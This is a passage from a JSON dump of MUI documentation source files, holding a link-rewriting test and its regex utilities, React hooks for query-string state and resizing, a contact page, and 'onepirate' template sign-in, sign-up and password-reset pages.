[ClickAwayListener](/base-ui/api/click-away-listener)\n      [IconButton](/material-ui/api/icon-button)\n      [LoadingButton](/material-ui/api/loading-button)\n      [DataGrid](/x/api/data-grid/data-grid)\n      [DataGridPro](/x/api/data-grid/data-grid-pro)\n      [System](/system/basics)\n    `);\n  });\n\n  it('should do nothing if the APIs have updated', () => {\n    expect(\n      replaceAPILinks(`\n      [Button](/material-ui/api/button)\n      [ButtonBase](/material-ui/api/button-base)\n      [ButtonUnstyled](/base-ui/api/button)\n      [IconButton](/material-ui/api/icon-button)\n      [LoadingButton](/material-ui/api/loading-button)\n      [DataGrid](/x/api/data-grid/data-grid)\n      [DataGridPro](/x/api/data-grid/data-grid-pro)\n      [System](/system/basics)\n      `),\n    ).to.equal(`\n      [Button](/material-ui/api/button)\n      [ButtonBase](/material-ui/api/button-base)\n      [ButtonUnstyled](/base-ui/api/button)\n      [IconButton](/material-ui/api/icon-button)\n      [LoadingButton](/material-ui/api/loading-button)\n      [DataGrid](/x/api/data-grid/data-grid)\n      [DataGridPro](/x/api/data-grid/data-grid-pro)\n      [System](/system/basics)\n      `);\n  });\n});\n"
  },
  {
    "path": "docs/src/modules/utils/replaceMarkdownLinks.ts",
    "content": "export const replaceMaterialLinks = (markdown: string) => {\n  return markdown.replace(\n    /\\(\\/(guides|customization|getting-started|discover-more)\\/([^)]*)\\)/gm,\n    '(/material-ui/$1/$2)',\n  );\n};\n\nexport const replaceComponentLinks = (markdown: string) => {\n  return markdown\n    .replace(/\\(\\/components\\/data-grid([^)]*)\\)/gm, '(/x/react-data-grid$1)')\n    .replace(\n      /\\(\\/components\\/((icons|material-icons|transitions|pickers|about-the-lab)\\/?[^)]*)\\)/gm,\n      '(/material-ui/$1)',\n    )\n    .replace(/\\(\\/components\\/(?!tabs|breadcrumbs)([^)]*)\\)/gm, '(/material-ui/react-$1)')\n    .replace(/\\(\\/material-ui\\/(react-[-a-z]+)(x|ch)es(\\/|#)([^)]*)\\)/gm, '(/material-ui/$1$2$3$4)')\n    .replace(/\\(\\/material-ui\\/(react-[-a-z]+)(x|ch)es\"/gm, '(/material-ui/$1$2)')\n    .replace(\n      /\\(\\/material-ui\\/(?!react-tabs|react-breadcrumbs)(react-[-a-z]+)s(\\/|#)([^)]*)\\)/gm,\n      '(/material-ui/$1$2$3)',\n    )\n    .replace(\n      /\\(\\/material-ui\\/(?!react-tabs|react-breadcrumbs)(react-[-a-z]+)s\"/gm,\n      '(/material-ui/$1)',\n    )\n    .replace(/react-trap-focu/gm, 'react-trap-focus')\n    .replace(/react-trap-focuss/gm, 'react-trap-focus')\n    .replace(/react-progres/gm, 'react-progress')\n    .replace(/react-progresss/gm, 'react-progress')\n    .replace(/\\(\\/components\\/(tabs|breadcrumbs)([^)]*)\\)/gm, '(/material-ui/react-$1$2)');\n};\n\nexport const replaceAPILinks = (markdown: string) => {\n  return markdown\n    .replace(/\\(\\/api\\/data-grid([^)]*)\\)/gm, '(/x/api/data-grid$1)')\n    .replace(/\\(\\/api\\/([^\"/]+)(-unstyled)([^)]*)\\)/gm, '(/base-ui/api/$1$3)')\n    .replace(\n      /\\(\\/api\\/(focus-trap|click-away-listener|no-ssr|portal|textarea-autosize)([^)]*)\\)/gm,\n      '(/base-ui/api/$1$2)',\n    )\n    .replace(\n      /\\(\\/api\\/(loading-button|tab-list|tab-panel|date-picker|date-time-picker|time-picker|calendar-picker|calendar-picker-skeleton|desktop-picker|mobile-date-picker|month-picker|pickers-day|static-date-picker|year-picker|masonry|timeline|timeline-connector|timeline-content|timeline-dot|timeline-item|timeline-opposite-content|timeline-separator|unstable-trap-focus|tree-item|tree-view)([^)]*)\\)/gm,\n      '(/material-ui/api/$1$2)',\n    )\n    .replace(/\\(\\/api\\/([^)]*)\\)/gm, '(/material-ui/api/$1)');\n};\n"
  },
  {
    "path": "docs/src/modules/utils/stylingSolutionMapping.js",
    "content": "import { CODE_STYLING } from '@mui/docs/constants';\n\nconst stylingSolutionMapping = {\n  [CODE_STYLING.TAILWIND]: 'tailwind',\n  [CODE_STYLING.CSS]: 'css',\n  [CODE_STYLING.SYSTEM]: 'system',\n};\n\nexport default stylingSolutionMapping;\n"
  },
  {
    "path": "docs/src/modules/utils/useQueryParameterState.ts",
    "content": "import * as React from 'react';\nimport { useRouter } from 'next/router';\nimport { debounce } from '@mui/material/utils';\n\nconst QUERY_UPDATE_WAIT_MS = 220;\n\n/**\n * Similar to `React.useState`, but it syncs back the current state to a query\n * parameter in the url, therefore it only supports strings. Wrap the result with\n * parse/stringify logic if more complex values are needed.\n *\n * REMARK: this doesn't listen for router changes (yet) to update back the state.\n */\nexport default function useQueryParameterState(\n  name: string,\n  initialValue = '',\n): [string, (newValue: string) => void] {\n  const initialValueRef = React.useRef(initialValue);\n\n  const router = useRouter();\n\n  const queryParamValue = router.query[name];\n\n  const urlValue = Array.isArray(queryParamValue) ? queryParamValue[0] : queryParamValue;\n\n  const [state, setState] = React.useState(urlValue || initialValue);\n\n  const setUrlValue = React.useMemo(\n    () =>\n      debounce((newValue = '') => {\n        const query = new URLSearchParams(window.location.search);\n        if (newValue && newValue !== initialValueRef.current) {\n          query.set(name, newValue);\n        } else {\n          query.delete(name);\n        }\n        const newSearch = query.toString();\n        if (window.location.search !== newSearch) {\n          router.replace(\n            {\n              pathname: router.pathname,\n              // TODO: this resets the scroll position, even though we have scroll: false\n              // hash: window.location.hash,\n              search: newSearch,\n            },\n            undefined,\n            {\n              scroll: false,\n              shallow: true,\n            },\n          );\n        }\n      }, QUERY_UPDATE_WAIT_MS),\n    [name, router],\n  );\n\n  React.useEffect(\n    () => () => {\n      setUrlValue.clear();\n    },\n    [setUrlValue],\n  );\n\n  const setUserState = React.useCallback(\n    (newValue: string) => {\n      setUrlValue(newValue);\n      setState(newValue);\n    },\n    [setUrlValue],\n  );\n\n  // Make sure to initialize the state when route params are only available client-side\n  const isInitialized = React.useRef(false);\n  React.useEffect(() => {\n    if (isInitialized.current) {\n      return;\n    }\n\n    isInitialized.current = true;\n    const query = new URLSearchParams(window.location.search);\n    const value = query.get(name);\n    setState(value || initialValue);\n  }, [name, initialValue]);\n\n  return [state, setUserState];\n}\n"
  },
  {
    "path": "docs/src/modules/utils/useResizeHandle.ts",
    "content": "import * as React from 'react';\n\nconst useResizeHandle = (\n  target: React.MutableRefObject<HTMLDivElement | null>,\n  options?: {\n    minWidth?: string;\n    maxWidth?: string;\n    onDragging?: (\n      target: React.MutableRefObject<HTMLDivElement>['current'],\n      length: number,\n      dragOffset: number,\n    ) => void;\n  },\n) => {\n  const { minWidth = '0px', maxWidth = '100%', onDragging } = options || {};\n  const [dragging, setDragging] = React.useState(false);\n  const [dragOffset, setDragOffset] = React.useState(0);\n  const isTouchEvent = (event: MouseEvent | TouchEvent): event is TouchEvent => {\n    return Boolean((event as TouchEvent).touches && (event as TouchEvent).touches.length);\n  };\n  const isMouseEvent = (event: MouseEvent | TouchEvent): event is MouseEvent => {\n    return Boolean((event as MouseEvent).clientX || (event as MouseEvent).clientX === 0);\n  };\n  const getClientX = React.useCallback((event: MouseEvent | TouchEvent) => {\n    let clientX;\n    if (isMouseEvent(event)) {\n      clientX = event.clientX;\n    }\n    if (isTouchEvent(event)) {\n      clientX = event.touches[0].clientX;\n    }\n    return clientX as number;\n  }, []);\n  const handleStart = (event: React.MouseEvent | React.TouchEvent) => {\n    const clientX = getClientX(event.nativeEvent);\n    const rect = (event.target as HTMLElement).getBoundingClientRect();\n    setDragging(true);\n    setDragOffset(rect.width - (clientX - rect.x));\n  };\n  React.useEffect(() => {\n    function resizeObject(event: MouseEvent | TouchEvent) {\n      if (event.cancelable) {\n        event.preventDefault();\n      }\n      const clientX = getClientX(event);\n\n      if (target.current && dragging && clientX) {\n        const objectRect = target.current.getBoundingClientRect();\n        const newWidth = clientX - objectRect.left;\n        if (onDragging) {\n          onDragging(target.current, newWidth, dragOffset);\n        } else {\n          target.current.style.width = `clamp(${minWidth}, ${Math.floor(\n            newWidth + dragOffset,\n          )}px, ${maxWidth})`;\n        }\n      }\n    }\n    function stopResize() {\n      setDragging(false);\n    }\n\n    if (dragging) {\n      document.addEventListener('mousemove', resizeObject, { passive: false });\n      document.addEventListener('mouseup', stopResize);\n      document.addEventListener('touchmove', resizeObject, { passive: false });\n      document.addEventListener('touchend', stopResize);\n      return () => {\n        document.removeEventListener('mousemove', resizeObject);\n        document.removeEventListener('mouseup', stopResize);\n        document.removeEventListener('touchmove', resizeObject);\n        document.removeEventListener('touchend', stopResize);\n      };\n    }\n    return () => {};\n  }, [dragOffset, dragging, getClientX, maxWidth, minWidth, onDragging, target]);\n  return {\n    dragging,\n    getDragHandlers: () => ({\n      onTouchStart: handleStart,\n      onMouseDown: handleStart,\n    }),\n  };\n};\n\nexport default useResizeHandle;\n"
  },
  {
    "path": "docs/src/pages/company/contact/contact.md",
    "content": "# Contact us\n\n<p class=\"description\">We're all ears.</p>\n\nPlease choose a topic below related to your inquiry:\n\n- [Help & Support](/material-ui/getting-started/support/)\n- Email enquiries: [contact@mui.com](mailto:contact@mui.com)\n- Our address:<br /><br />\n  **Material-UI SAS**<br />\n  128 Rue La Boétie<br />\n  75008 Paris<br />\n  France\n"
  },
  {
    "path": "docs/src/pages/components/tabs/UnstyledTabsCustomized.preview",
    "content": "<TabsUnstyled defaultValue={0}>\n  <TabsList>\n    <Tab>One</Tab>\n    <Tab>Two</Tab>\n    <Tab>Three</Tab>\n  </TabsList>\n  <TabPanel value={0}>First content</TabPanel>\n  <TabPanel value={1}>Second content</TabPanel>\n  <TabPanel value={2}>Third content</TabPanel>\n</TabsUnstyled>"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/ForgotPassword.js",
    "content": "import * as React from 'react';\nimport { Field, Form, FormSpy } from 'react-final-form';\nimport Box from '@mui/material/Box';\nimport Typography from './modules/components/Typography';\nimport AppFooter from './modules/views/AppFooter';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppForm from './modules/views/AppForm';\nimport { email, required } from './modules/form/validation';\nimport RFTextField from './modules/form/RFTextField';\nimport FormButton from './modules/form/FormButton';\nimport FormFeedback from './modules/form/FormFeedback';\nimport withRoot from './modules/withRoot';\n\nfunction ForgotPassword() {\n  const [sent, setSent] = React.useState(false);\n\n  const validate = (values) => {\n    const errors = required(['email'], values);\n\n    if (!errors.email) {\n      const emailError = email(values.email);\n      if (emailError) {\n        errors.email = emailError;\n      }\n    }\n\n    return errors;\n  };\n\n  const handleSubmit = () => {\n    setSent(true);\n  };\n\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <AppForm>\n        <React.Fragment>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Forgot your password?\n          </Typography>\n          <Typography variant=\"body2\" align=\"center\">\n            {\"Enter your email address below and we'll \" +\n              'send you a link to reset your password.'}\n          </Typography>\n        </React.Fragment>\n        <Form\n          onSubmit={handleSubmit}\n          subscription={{ submitting: true }}\n          validate={validate}\n        >\n          {({ handleSubmit: handleSubmit2, submitting }) => (\n            <Box component=\"form\" onSubmit={handleSubmit2} noValidate sx={{ mt: 6 }}>\n              <Field\n                autoFocus\n                autoComplete=\"email\"\n                component={RFTextField}\n                disabled={submitting || sent}\n                fullWidth\n                label=\"Email\"\n                margin=\"normal\"\n                name=\"email\"\n                required\n                size=\"large\"\n              />\n              <FormSpy subscription={{ submitError: true }}>\n                {({ submitError }) =>\n                  submitError ? (\n                    <FormFeedback error sx={{ mt: 2 }}>\n                      {submitError}\n                    </FormFeedback>\n                  ) : null\n                }\n              </FormSpy>\n              <FormButton\n                sx={{ mt: 3, mb: 2 }}\n                disabled={submitting || sent}\n                size=\"large\"\n                color=\"secondary\"\n                fullWidth\n              >\n                {submitting || sent ? 'In progress…' : 'Send reset link'}\n              </FormButton>\n            </Box>\n          )}\n        </Form>\n      </AppForm>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(ForgotPassword);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/ForgotPassword.tsx",
    "content": "import * as React from 'react';\nimport { Field, Form, FormSpy } from 'react-final-form';\nimport Box from '@mui/material/Box';\nimport Typography from './modules/components/Typography';\nimport AppFooter from './modules/views/AppFooter';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppForm from './modules/views/AppForm';\nimport { email, required } from './modules/form/validation';\nimport RFTextField from './modules/form/RFTextField';\nimport FormButton from './modules/form/FormButton';\nimport FormFeedback from './modules/form/FormFeedback';\nimport withRoot from './modules/withRoot';\n\nfunction ForgotPassword() {\n  const [sent, setSent] = React.useState(false);\n\n  const validate = (values: { [index: string]: string }) => {\n    const errors = required(['email'], values);\n\n    if (!errors.email) {\n      const emailError = email(values.email);\n      if (emailError) {\n        errors.email = emailError;\n      }\n    }\n\n    return errors;\n  };\n\n  const handleSubmit = () => {\n    setSent(true);\n  };\n\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <AppForm>\n        <React.Fragment>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Forgot your password?\n          </Typography>\n          <Typography variant=\"body2\" align=\"center\">\n            {\"Enter your email address below and we'll \" +\n              'send you a link to reset your password.'}\n          </Typography>\n        </React.Fragment>\n        <Form\n          onSubmit={handleSubmit}\n          subscription={{ submitting: true }}\n          validate={validate}\n        >\n          {({ handleSubmit: handleSubmit2, submitting }) => (\n            <Box component=\"form\" onSubmit={handleSubmit2} noValidate sx={{ mt: 6 }}>\n              <Field\n                autoFocus\n                autoComplete=\"email\"\n                component={RFTextField}\n                disabled={submitting || sent}\n                fullWidth\n                label=\"Email\"\n                margin=\"normal\"\n                name=\"email\"\n                required\n                size=\"large\"\n              />\n              <FormSpy subscription={{ submitError: true }}>\n                {({ submitError }) =>\n                  submitError ? (\n                    <FormFeedback error sx={{ mt: 2 }}>\n                      {submitError}\n                    </FormFeedback>\n                  ) : null\n                }\n              </FormSpy>\n              <FormButton\n                sx={{ mt: 3, mb: 2 }}\n                disabled={submitting || sent}\n                size=\"large\"\n                color=\"secondary\"\n                fullWidth\n              >\n                {submitting || sent ? 'In progress…' : 'Send reset link'}\n              </FormButton>\n            </Box>\n          )}\n        </Form>\n      </AppForm>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(ForgotPassword);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/Home.js",
    "content": "import * as React from 'react';\nimport ProductCategories from './modules/views/ProductCategories';\nimport ProductSmokingHero from './modules/views/ProductSmokingHero';\nimport AppFooter from './modules/views/AppFooter';\nimport ProductHero from './modules/views/ProductHero';\nimport ProductValues from './modules/views/ProductValues';\nimport ProductHowItWorks from './modules/views/ProductHowItWorks';\nimport ProductCTA from './modules/views/ProductCTA';\nimport AppAppBar from './modules/views/AppAppBar';\nimport withRoot from './modules/withRoot';\n\nfunction Index() {\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <ProductHero />\n      <ProductValues />\n      <ProductCategories />\n      <ProductHowItWorks />\n      <ProductCTA />\n      <ProductSmokingHero />\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(Index);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/Home.tsx",
    "content": "import * as React from 'react';\nimport ProductCategories from './modules/views/ProductCategories';\nimport ProductSmokingHero from './modules/views/ProductSmokingHero';\nimport AppFooter from './modules/views/AppFooter';\nimport ProductHero from './modules/views/ProductHero';\nimport ProductValues from './modules/views/ProductValues';\nimport ProductHowItWorks from './modules/views/ProductHowItWorks';\nimport ProductCTA from './modules/views/ProductCTA';\nimport AppAppBar from './modules/views/AppAppBar';\nimport withRoot from './modules/withRoot';\n\nfunction Index() {\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <ProductHero />\n      <ProductValues />\n      <ProductCategories />\n      <ProductHowItWorks />\n      <ProductCTA />\n      <ProductSmokingHero />\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(Index);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/Privacy.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\nimport Markdown from './modules/components/Markdown';\nimport Typography from './modules/components/Typography';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppFooter from './modules/views/AppFooter';\nimport withRoot from './modules/withRoot';\nimport privacy from './modules/views/privacy.md';\n\nfunction Privacy() {\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <Container>\n        <Box sx={{ mt: 7, mb: 12 }}>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Privacy\n          </Typography>\n          <Markdown>{privacy}</Markdown>\n        </Box>\n      </Container>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(Privacy);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/Privacy.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\nimport Markdown from './modules/components/Markdown';\nimport Typography from './modules/components/Typography';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppFooter from './modules/views/AppFooter';\nimport withRoot from './modules/withRoot';\nimport privacy from './modules/views/privacy.md';\n\nfunction Privacy() {\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <Container>\n        <Box sx={{ mt: 7, mb: 12 }}>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Privacy\n          </Typography>\n          <Markdown>{privacy}</Markdown>\n        </Box>\n      </Container>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(Privacy);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/SignIn.js",
    "content": "import * as React from 'react';\nimport { Field, Form, FormSpy } from 'react-final-form';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\nimport Typography from './modules/components/Typography';\nimport AppFooter from './modules/views/AppFooter';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppForm from './modules/views/AppForm';\nimport { email, required } from './modules/form/validation';\nimport RFTextField from './modules/form/RFTextField';\nimport FormButton from './modules/form/FormButton';\nimport FormFeedback from './modules/form/FormFeedback';\nimport withRoot from './modules/withRoot';\n\nfunction SignIn() {\n  const [sent, setSent] = React.useState(false);\n\n  const validate = (values) => {\n    const errors = required(['email', 'password'], values);\n\n    if (!errors.email) {\n      const emailError = email(values.email);\n      if (emailError) {\n        errors.email = emailError;\n      }\n    }\n\n    return errors;\n  };\n\n  const handleSubmit = () => {\n    setSent(true);\n  };\n\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <AppForm>\n        <React.Fragment>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Sign In\n          </Typography>\n          <Typography variant=\"body2\" align=\"center\">\n            {'Not a member yet? '}\n            <Link\n              href=\"/premium-themes/onepirate/sign-up/\"\n              align=\"center\"\n              underline=\"always\"\n            >\n              Sign Up here\n            </Link>\n          </Typography>\n        </React.Fragment>\n        <Form\n          onSubmit={handleSubmit}\n          subscription={{ submitting: true }}\n          validate={validate}\n        >\n          {({ handleSubmit: handleSubmit2, submitting }) => (\n            <Box component=\"form\" onSubmit={handleSubmit2} noValidate sx={{ mt: 6 }}>\n              <Field\n                autoComplete=\"email\"\n                autoFocus\n                component={RFTextField}\n                disabled={submitting || sent}\n                fullWidth\n                label=\"Email\"\n                margin=\"normal\"\n                name=\"email\"\n                required\n                size=\"large\"\n              />\n              <Field\n                fullWidth\n                size=\"large\"\n                component={RFTextField}\n                disabled={submitting || sent}\n                required\n                name=\"password\"\n                autoComplete=\"current-password\"\n                label=\"Password\"\n                type=\"password\"\n                margin=\"normal\"\n              />\n              <FormSpy subscription={{ submitError: true }}>\n                {({ submitError }) =>\n                  submitError ? (\n                    <FormFeedback error sx={{ mt: 2 }}>\n                      {submitError}\n                    </FormFeedback>\n                  ) : null\n                }\n              </FormSpy>\n              <FormButton\n                sx={{ mt: 3, mb: 2 }}\n                disabled={submitting || sent}\n                size=\"large\"\n                color=\"secondary\"\n                fullWidth\n              >\n                {submitting || sent ? 'In progress…' : 'Sign In'}\n              </FormButton>\n            </Box>\n          )}\n        </Form>\n        <Typography align=\"center\">\n          <Link underline=\"always\" href=\"/premium-themes/onepirate/forgot-password/\">\n            Forgot password?\n          </Link>\n        </Typography>\n      </AppForm>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(SignIn);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/SignIn.tsx",
    "content": "import * as React from 'react';\nimport { Field, Form, FormSpy } from 'react-final-form';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\nimport Typography from './modules/components/Typography';\nimport AppFooter from './modules/views/AppFooter';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppForm from './modules/views/AppForm';\nimport { email, required } from './modules/form/validation';\nimport RFTextField from './modules/form/RFTextField';\nimport FormButton from './modules/form/FormButton';\nimport FormFeedback from './modules/form/FormFeedback';\nimport withRoot from './modules/withRoot';\n\nfunction SignIn() {\n  const [sent, setSent] = React.useState(false);\n\n  const validate = (values: { [index: string]: string }) => {\n    const errors = required(['email', 'password'], values);\n\n    if (!errors.email) {\n      const emailError = email(values.email);\n      if (emailError) {\n        errors.email = emailError;\n      }\n    }\n\n    return errors;\n  };\n\n  const handleSubmit = () => {\n    setSent(true);\n  };\n\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <AppForm>\n        <React.Fragment>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Sign In\n          </Typography>\n          <Typography variant=\"body2\" align=\"center\">\n            {'Not a member yet? '}\n            <Link\n              href=\"/premium-themes/onepirate/sign-up/\"\n              align=\"center\"\n              underline=\"always\"\n            >\n              Sign Up here\n            </Link>\n          </Typography>\n        </React.Fragment>\n        <Form\n          onSubmit={handleSubmit}\n          subscription={{ submitting: true }}\n          validate={validate}\n        >\n          {({ handleSubmit: handleSubmit2, submitting }) => (\n            <Box component=\"form\" onSubmit={handleSubmit2} noValidate sx={{ mt: 6 }}>\n              <Field\n                autoComplete=\"email\"\n                autoFocus\n                component={RFTextField}\n                disabled={submitting || sent}\n                fullWidth\n                label=\"Email\"\n                margin=\"normal\"\n                name=\"email\"\n                required\n                size=\"large\"\n              />\n              <Field\n                fullWidth\n                size=\"large\"\n                component={RFTextField}\n                disabled={submitting || sent}\n                required\n                name=\"password\"\n                autoComplete=\"current-password\"\n                label=\"Password\"\n                type=\"password\"\n                margin=\"normal\"\n              />\n              <FormSpy subscription={{ submitError: true }}>\n                {({ submitError }) =>\n                  submitError ? (\n                    <FormFeedback error sx={{ mt: 2 }}>\n                      {submitError}\n                    </FormFeedback>\n                  ) : null\n                }\n              </FormSpy>\n              <FormButton\n                sx={{ mt: 3, mb: 2 }}\n                disabled={submitting || sent}\n                size=\"large\"\n                color=\"secondary\"\n                fullWidth\n              >\n                {submitting || sent ? 'In progress…' : 'Sign In'}\n              </FormButton>\n            </Box>\n          )}\n        </Form>\n        <Typography align=\"center\">\n          <Link underline=\"always\" href=\"/premium-themes/onepirate/forgot-password/\">\n            Forgot password?\n          </Link>\n        </Typography>\n      </AppForm>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(SignIn);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/SignUp.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Link from '@mui/material/Link';\nimport { Field, Form, FormSpy } from 'react-final-form';\nimport Typography from './modules/components/Typography';\nimport AppFooter from './modules/views/AppFooter';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppForm from './modules/views/AppForm';\nimport { email, required } from './modules/form/validation';\nimport RFTextField from './modules/form/RFTextField';\nimport FormButton from './modules/form/FormButton';\nimport FormFeedback from './modules/form/FormFeedback';\nimport withRoot from './modules/withRoot';\n\nfunction SignUp() {\n  const [sent, setSent] = React.useState(false);\n\n  const validate = (values) => {\n    const errors = required(['firstName', 'lastName', 'email', 'password'], values);\n\n    if (!errors.email) {\n      const emailError = email(values.email);\n      if (emailError) {\n        errors.email = emailError;\n      }\n    }\n\n    return errors;\n  };\n\n  const handleSubmit = () => {\n    setSent(true);\n  };\n\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <AppForm>\n        <React.Fragment>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Sign Up\n          </Typography>\n          <Typography variant=\"body2\" align=\"center\">\n            <Link href=\"/premium-themes/onepirate/sign-in/\" underline=\"always\">\n              Already have an account?\n            </Link>\n          </Typography>\n        </React.Fragment>\n        <Form\n          onSubmit={handleSubmit}\n          subscription={{ submitting: true }}\n          validate={validate}\n        >\n          {({ handleSubmit: handleSubmit2, submitting }) => (\n            <Box component=\"form\" onSubmit={handleSubmit2} noValidate sx={{ mt: 6 }}>\n              <Grid container spacing={2}>\n                <Grid size={{ xs: 12, sm: 6 }}>\n                  <Field\n                    autoFocus\n                    component={RFTextField}\n                    disabled={submitting || sent}\n                    autoComplete=\"given-name\"\n                    fullWidth\n                    label=\"First name\"\n                    name=\"firstName\"\n                    required\n                  />\n                </Grid>\n                <Grid size={{ xs: 12, sm: 6 }}>\n                  <Field\n                    component={RFTextField}\n                    disabled={submitting || sent}\n                    autoComplete=\"family-name\"\n                    fullWidth\n                    label=\"Last name\"\n                    name=\"lastName\"\n                    required\n                  />\n                </Grid>\n              </Grid>\n              <Field\n                autoComplete=\"email\"\n                component={RFTextField}\n                disabled={submitting || sent}\n                fullWidth\n                label=\"Email\"\n                margin=\"normal\"\n                name=\"email\"\n                required\n              />\n              <Field\n                fullWidth\n                component={RFTextField}\n                disabled={submitting || sent}\n                required\n                name=\"password\"\n                autoComplete=\"new-password\"\n                label=\"Password\"\n                type=\"password\"\n                margin=\"normal\"\n              />\n              <FormSpy subscription={{ submitError: true }}>\n                {({ submitError }) =>\n                  submitError ? (\n                    <FormFeedback error sx={{ mt: 2 }}>\n                      {submitError}\n                    </FormFeedback>\n                  ) : null\n                }\n              </FormSpy>\n              <FormButton\n                sx={{ mt: 3, mb: 2 }}\n                disabled={submitting || sent}\n                color=\"secondary\"\n                fullWidth\n              >\n                {submitting || sent ? 'In progress…' : 'Sign Up'}\n              </FormButton>\n            </Box>\n          )}\n        </Form>\n      </AppForm>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(SignUp);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/SignUp.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Link from '@mui/material/Link';\nimport { Field, Form, FormSpy } from 'react-final-form';\nimport Typography from './modules/components/Typography';\nimport AppFooter from './modules/views/AppFooter';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppForm from './modules/views/AppForm';\nimport { email, required } from './modules/form/validation';\nimport RFTextField from './modules/form/RFTextField';\nimport FormButton from './modules/form/FormButton';\nimport FormFeedback from './modules/form/FormFeedback';\nimport withRoot from './modules/withRoot';\n\nfunction SignUp() {\n  const [sent, setSent] = React.useState(false);\n\n  const validate = (values: { [index: string]: string }) => {\n    const errors = required(['firstName', 'lastName', 'email', 'password'], values);\n\n    if (!errors.email) {\n      const emailError = email(values.email);\n      if (emailError) {\n        errors.email = emailError;\n      }\n    }\n\n    return errors;\n  };\n\n  const handleSubmit = () => {\n    setSent(true);\n  };\n\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <AppForm>\n        <React.Fragment>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Sign Up\n          </Typography>\n          <Typography variant=\"body2\" align=\"center\">\n            <Link href=\"/premium-themes/onepirate/sign-in/\" underline=\"always\">\n              Already have an account?\n            </Link>\n          </Typography>\n        </React.Fragment>\n        <Form\n          onSubmit={handleSubmit}\n          subscription={{ submitting: true }}\n          validate={validate}\n        >\n          {({ handleSubmit: handleSubmit2, submitting }) => (\n            <Box component=\"form\" onSubmit={handleSubmit2} noValidate sx={{ mt: 6 }}>\n              <Grid container spacing={2}>\n                <Grid size={{ xs: 12, sm: 6 }}>\n                  <Field\n                    autoFocus\n                    component={RFTextField}\n                    disabled={submitting || sent}\n                    autoComplete=\"given-name\"\n                    fullWidth\n                    label=\"First name\"\n                    name=\"firstName\"\n                    required\n                  />\n                </Grid>\n                <Grid size={{ xs: 12, sm: 6 }}>\n                  <Field\n                    component={RFTextField}\n                    disabled={submitting || sent}\n                    autoComplete=\"family-name\"\n                    fullWidth\n                    label=\"Last name\"\n                    name=\"lastName\"\n                    required\n                  />\n                </Grid>\n              </Grid>\n              <Field\n                autoComplete=\"email\"\n                component={RFTextField}\n                disabled={submitting || sent}\n                fullWidth\n                label=\"Email\"\n                margin=\"normal\"\n                name=\"email\"\n                required\n              />\n              <Field\n                fullWidth\n                component={RFTextField}\n                disabled={submitting || sent}\n                required\n                name=\"password\"\n                autoComplete=\"new-password\"\n                label=\"Password\"\n                type=\"password\"\n                margin=\"normal\"\n              />\n              <FormSpy subscription={{ submitError: true }}>\n                {({ submitError }) =>\n                  submitError ? (\n                    <FormFeedback error sx={{ mt: 2 }}>\n                      {submitError}\n                    </FormFeedback>\n                  ) : null\n                }\n              </FormSpy>\n              <FormButton\n                sx={{ mt: 3, mb: 2 }}\n                disabled={submitting || sent}\n                color=\"secondary\"\n                fullWidth\n              >\n                {submitting || sent ? 'In progress…' : 'Sign Up'}\n              </FormButton>\n            </Box>\n          )}\n        </Form>\n      </AppForm>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default 